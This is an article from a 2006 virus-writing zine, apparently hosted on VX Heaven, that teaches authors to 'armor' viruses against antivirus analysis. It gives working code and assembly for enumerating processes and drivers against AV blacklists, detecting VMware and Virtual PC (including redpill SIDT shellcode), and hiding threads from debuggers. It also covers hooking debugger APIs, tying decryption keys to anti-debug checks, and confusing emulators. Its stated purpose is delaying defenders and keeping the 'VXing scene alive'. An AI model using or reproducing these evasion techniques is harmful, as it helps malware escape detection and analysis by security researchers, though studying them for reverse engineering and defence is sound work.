Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Ars loricatus novus or A small introduction to retro-armoring

Nomenumbra
Ready Rangers Liberation Front [7]
July 2006

[Back to index] [Comments]

0x00) Foreword

There are many ways of hiding and protecting your virus from AV analysis, ranging from metamorphism to casual anti-debugging to aggressive attacks on AV products (process termination). With time however, anything can be reversed. But this doesn't mean we can't delay them critically. By using a thick armor of anti-debugging, aggressive and passive anti-AV tricks and general stealth, we can delay analysis. Combine this with a quickly morphing virus, this would mean the virus changes it's appereance and (if it's a virus that would re-write itself on source level) it's armor. This paper will show you some techniques that can be used to Armor your virus.

0x01) Casual Anti-Debugging

Anti-Debugging tricks have been around a while, ever since they were made popular with whale. Heavy armoring however, is very rare, most likely because it adds a lot of extra code to your virus, I however, think this is worth it.

Here is a summage of several well-known ant-debugging tricks:

Now we know some basic anti-debugging tricks it's time to move on to Aggressive techniques.

0x02) Aggresive Anti-Debugging/Anti-AV

Aggressive tricks involve the active detection of debuggers or AV products and taking 'appropriate measures'. There are several methods to do this:

  1. Process and module enumeration and comparing

    This ought to be common knowledge for everyone, a simple call to CreateToolhelp32Snapshot, using that handle for Process32First and the consecutive calls to process32next to detect all running processes and matching their names to a (regular expression based) blacklist would be easy.

    Fetching module info is trivial as well:

    1. getProc(process's ID (PID),hProc) // hProc is a HANDLE
    2. ProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded); // hMods being an array of HMODULES, cbNeeded being an unsigned long
    3. modulecount = cbNeeded/sizeof(HMODULE)
    4. for(int i = 0; i < modulecount; i++)
              {
                      GetModuleFileNameEx(hProc, hMods[i], filename, MAX_PATH);
                      // filename being char filename[MAX_PATH]
                      // compare filename to a blacklist
              }
       

    The blacklists could be retrieved by reversing AV software and debuggers.

  2. Driver detection and comparing

    Some products used to analyse viruses use drivers for doing their thing. We already saw how we could detect some drivers like softice's with a call to CreateFileA, but this will not work for every driver. The following function enumerate all drivers and gets some details about it (filename and basename) which can be matched against a 'blacklist' of AV/Debugger/whatever drivernames:

    #include <windows.h>
    #include <psapi.h>

    unsigned long cbNeeded;

    int EnumAllDeviceDrivers()
    {
        LPVOID drivers[1024]; // can enum max of 1024 drivers, else we'll have a b0f
        char name[MAX_PATH];
        int drivercount = 0;

            if(EnumDeviceDrivers(drivers,sizeof(drivers),&cbNeeded) == FALSE )
                  return -1;

            drivercount = cbNeeded/sizeof(LPVOID); // number of drivers found

            for(int i=0; i<drivercount; i++)
            {
                    if(GetDeviceDriverBaseName(drivers[i],name,MAX_PATH) != 0)
                        {
                              // compare the driver's basename to a 'blacklist' and take action            
                            if(GetDeviceDriverFileName(drivers[i],name,MAX_PATH) != 0)
                            {
                                   // compare filename to a 'blacklist' and take action
                                }
                            else
                                    return -1;
                            }
                    else
                      return -1;
            }
    }
     
  3. Virtual machine detection

    Virtual machines, a hacker's joy, a reverser's paradise and a VXers nightmare. These virtual platforms allow you to run whatever the fuck you want, potentially fucking up the machine big time, only to be reset with the press of a button. Avers, when reversing your virus would be too difficult would simply run it in a Virtual environment, and seeing what it does (with the help of (for example) sysinternals' filemon and stuff). Well, as z0mbie already documented once, there are ways to detect whether we are running inside a virtual environment or not. VMWare's prescence, one of these virtual machine products, can be detected either by it's registry keys, file location or in the following fashion (This code comes from z0mbies article 'VMWare has you'):

            mov     ecx, 0Ah        ; CX=function# (0Ah=get_version)
            mov     eax, 'VMXh'     ; EAX=magic
            mov     dx, 'VX'        ; DX=magic
            in      eax, dx         ; specially processed io cmd
                                    ; output: EAX/EBX/ECX = data
            cmp     ebx, 'VMXh'     ; also eax/ecx modified (maybe vmw/os ver?)
            je      under_VMware
     

    Another Virtual Machine product is Microsoft's Virtual PC, which can be detect with the following code:

    // IsInsideVPC's exception filter
    DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)
    {
      PCONTEXT ctx = ep->ContextRecord;

      ctx->Ebx = -1; // Not running VPC
      ctx->Eip += 4; // skip past the "call VPC" opcodes
      return EXCEPTION_CONTINUE_EXECUTION;
      // we can safely resume execution since we skipped faulty instruction
    }

    // High level language friendly version of IsInsideVPC()
    bool IsInsideVPC()
    {
      bool rc = false;

      __try
      {
        _asm push ebx
        _asm mov  ebx, 0 // It will stay ZERO if VPC is running
        _asm mov  eax, 1 // VPC function number

        // call VPC
        _asm __emit 0Fh  // invalid opcodes that should trigger and exception
        _asm __emit 3Fh
        _asm __emit 07h
        _asm __emit 0Bh

        _asm test ebx, ebx
        _asm setz [rc]
        _asm pop ebx
      }
      // The except block shouldn't get triggered if VPC is running!!
      __except(IsInsideVPC_exceptionFilter(GetExceptionInformation()))
      {
      }

      return rc;
    }
     

    Another great and innovative method to detect a virtual machine is Joanna Rutkowska is the “redpill method”. This method relies on the SIDT instruction which copies the contents of the descriptor table register to the six bytes of memory indicated by the operand, although it is used only by the OS it is executable in ring3. To quote Joanna:

    “Because there is only one IDTR register, but there are at least two OS running concurrently (i.e. the host and the guest OS), VMM needs to relocate the guest's IDTR in a safe place, so that it will not conflict with a host's one. Unfortunately, VMM cannot know if (and when) the process running in guest OS executes SIDT instruction, since it is not privileged (and it doesn't generate exception). Thus the process gets the relocated address of IDT table. It was observed that on VMWare, the relocated address of IDT is at address 0xffXXXXXX, whereas on Virtual PC it is 0xe8XXXXXX. This was tested on VMWare Workstation 4 and Virtual PC 2004, both running on Windows XP host OS”. The redpill code looks as follows:
    int swallow_redpill () {
     unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3"; //SIDT core
           *((unsigned*)&rpill[3]) = (unsigned)m;
           ((void(*)())&rpill)();
           return (m[5]>0xd0) ? 1 : 0;
         }
    For a full description and documentation of this method, you should look here:
    http://invisiblethings.org/papers/redpill.html
     
  4. API hooking

    Well API hooking is a nice technique that can be used in a multitude of situations. In this case we should use it to hook each running process' API's that would be used by debuggers like: OpenProcess, OpenThread, GetProcessId, GetThreadId, ZwQueryInformationProcess, ReadProcessMemory, SetThreadContext, OutputDebugString, ContinueDebugEvent, DebugActiveProcess, DebugActiveProcessStop, DebugBreak, DebugBreakProcess, DebugSetProcessKillOnExit. These API's and their defenitions can be looked up in the MSDN library (http://msdn.microsoft.com) nicely. The Panzuriel code and library included with this article implements this idea.

  5. ZwSetInformationThread

    ZwSetInformationThread (located as a native api in ntdll.dll) can be used to hide your app from user-mode debuggers. Here is the MSDN description of zwsetInformationThread:

    The ZwSetInformationThread routine can be called to set the priority of a thread for which the caller has a handle.

    NTSTATUS ZwSetInformationThread(
    IN HANDLE ThreadHandle,
    IN THREADINFOCLASS ThreadInformationClass,
    IN PVOID ThreadInformation,
    IN ULONG ThreadInformationLength
    );
     

    And here are the possible values for ThreadInfoClass:

    typedef enum _THREADINFOCLASS {
    ThreadBasicInformation,
    ThreadTimes,
    ThreadPriority,
    ThreadBasePriority,
    ThreadAffinityMask,
    ThreadImpersonationToken,
    ThreadDescriptorTableEntry,
    ThreadEnableAlignmentFaultFixup,
    ThreadEventPair_Reusable,
    ThreadQuerySetWin32StartAddress,
    ThreadZeroTlsCell,
    ThreadPerformanceCount,
    ThreadAmILastThread,
    ThreadIdealProcessor,
    ThreadPriorityBoost,
    ThreadSetTlsArrayAddress,
    ThreadIsIoPending,
    ThreadHideFromDebugger,        <------------ SEE THAT?!
    ThreadBreakOnTermination,
    MaxThreadInfoClass
    } THREADINFOCLASS;
     

    So we would simply do:

            push    0
            push    0
            push    ThreadHideFromDebugger  ; 0x11 (17)
            push    threadid
            call    ZwSetInformationThread
     

    isn't that nice?

  6. CheckRemoteDebuggerPresent

    Another API that can be deliciously abused. Located in kernel32.dll, CheckRemoteDebuggerPresent is defined as follows:

    BOOL CheckRemoteDebuggerPresent(
            HANDLE  hProcess,
            PBOOL   pbDebuggerPresent
    );
     

    Very simple, hProcess is a HANDLE to an opened process and pbDebuggerPresent is a pointer to a boolean to hold TRUE if we are being debugged. The return value of the function (eax) is TRUE if it succeeds.

0x03) Passive Anti-Debugging/Anti-AV

Passive tricks don't involve the detection of Debuggers or AV products, but handling them without action or detection.It's basically Aggresive tricks who don't take action.

This would involve (for example) interweaving string/code decryption (or the entire program flow) and the results of armor checks. See the following pseudo-code:

function MoreAnnoyingKeyStuv(SomeByte,LKey)
{
   if(DetectDebugger())
   {
     SpawnBogusThreadWithMoreJunk();
     if() ... // lots of useless conditional branches
   }
   else
  if(!AreBeingTracedOrEmulated)
   return ((Lkey &lt;&lt; IsAVPresent()) xor (SomeByte &gt;&gt; DetectAnotherDebugger())) xor IsVmWare();
}

procedure Decryptor(BeginEncrypted,XLen,XKey)
{
    Key = Xkey;
      for(i = 0; i &lt; (Xlen+1); i++)
      {
         Key += DetectSomeDebuggertrick();
         SomeNormalKeyAdjustingOperationsHere;
         Key = Key xor MoreAnnoyingKeyStuv();
         DecryptByte(BeginEncrypted+i,Key);
      }
      return;
}
 

This kind of code, when obfuscated properly, would be a real pain in the ass for analists. Because they would have to look into each seperate Debugging detection trick (which could all use different Casual or even aggressive anti-debugging tricks), extract the correct result, go trough the potentially enormous bogus threads and conditional branches and in the end, write a decryptor by hand, which would delay them for quite some time.

As described in this example, multithreading can be used to confuse the analist. Imagine an app that would dynamicall generate a routine containing a lot of (bogus) anti-debugging checks, resulting in lots of conditional branches, which lead nowhere. If this routine was initiated as a thread multiple times, all based on anti-debugging conditional branches (which actually don't matter) this would make the analist go trough each one of them, being different on each run, potentially ruining a lot of his time only to realize it's bogus and useless.

Checksumming has been a method used for quite some time (mostly using cyclic redudancy checks) because it's a nice and effective method. It would involve checksumming important code sections that could be breakpointed or nop'ed out. But most of the time, the virus writer would just compare the result to a hardcoded value, which can be changed. Well, it would be more effective to write a checksumming algorithm yourself (combining several casual ones for example) ,for this is more obscure, and use the result as part of the decryption key.

A nice trick to confuse emulators is the rep jmp trick. This trick could be written in pseudo-code as follows:

        call    SomeAntiDebuggingCheck  ; result in eax
        mov     ecx,eax
        rep jmp DoomOnYou
; continue exection flow
DoomOnYou:
        ; do nasty stuff here
 

As you can see the result of the antidebugging check is used to do a repeated jump to DoomOnYou. Now the trick is that this repeated jump is of course bollocks. Because once it jumps it jumps and nothing else. So if someAntiDebuggingCheck returns 0 (no debuggers found) it doesn't jump.

This is a nice substitution of conditional jumps, making analysis by some lame emulator a lot harder, also if we would give SomeAntiDebuggingCheck a multitude of possible results (all for the different debuggers found,etc), thus making the emulator loop through this for a looong time trying out all results, only to go to DoomOnYou each time.

0x04) Panzuriel Library

Well, I assume you are familiar with DLL-Injection, if not, I suggest you read my article “The basics of backdooring” (found here: http://0x4f4c.awardspace.com/Basics%20of%20backdooring.pdf). The Panzuriel Library can be injected in a single process, but also in all actively running processes, it's your choice. The code comes attached to this article. (Comment by DiA: Panzuriel can be found under "Sources")

0x05) Outro

Well people, I hope you enjoyed this article and learned something from it. Remember, keep the Vxing scene alive! Shouts go to RRLF, 29A, the HackThisSite community, .aware group, ASO group and VXHeaven.org peeps in general.

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua